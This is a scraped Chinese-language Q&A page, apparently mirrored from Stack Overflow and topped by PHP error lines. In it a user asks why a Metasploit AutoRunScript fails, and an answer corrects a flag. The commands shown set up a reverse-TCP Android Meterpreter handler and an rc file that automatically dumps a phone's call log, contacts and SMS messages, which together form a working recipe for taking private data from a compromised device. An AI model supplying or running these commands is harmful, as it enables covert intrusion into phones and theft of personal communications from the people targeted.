Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/284.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php 我想使用metasploit通过autorunscript转储呼叫日志。但我没能做到_Php_Ruby_Python 3.x_Metasploit - Fatal编程技术网

Php 我想使用metasploit通过autorunscript转储呼叫日志。但我没能做到

Php 我想使用metasploit通过autorunscript转储呼叫日志。但我没能做到,php,ruby,python-3.x,metasploit,Php,Ruby,Python 3.x,Metasploit,我无法在终端中运行自动运行脚本。我想转储来自android的呼叫、消息和联系人 use exploit/multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST ip set LPORT 444 set AutoRunScript multi_console_command -rc cmd.rc exploit -j -z 在cmd.rc文件中,我写了以下几行 dump_calllog dump_cantacts d

我无法在终端中运行自动运行脚本。我想转储来自android的呼叫、消息和联系人

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST ip
set LPORT 444
set AutoRunScript multi_console_command -rc cmd.rc
exploit -j -z
在cmd.rc文件中,我写了以下几行

dump_calllog
dump_cantacts
dump_sms

但它不起作用

-rc
更改为
-r

set AutoRunScript multi_console_command  -r cmd.rc
我们应该做到这一点。这已在metasploit的官方github项目上的一份报告中进行了记录。

如所述,
多控制台命令的语法已根据更改

现在的语法如下所示:

set AutoRunScript multi_console_command  -r cmd.rc

你能提供更多的细节吗?为什么不包括-c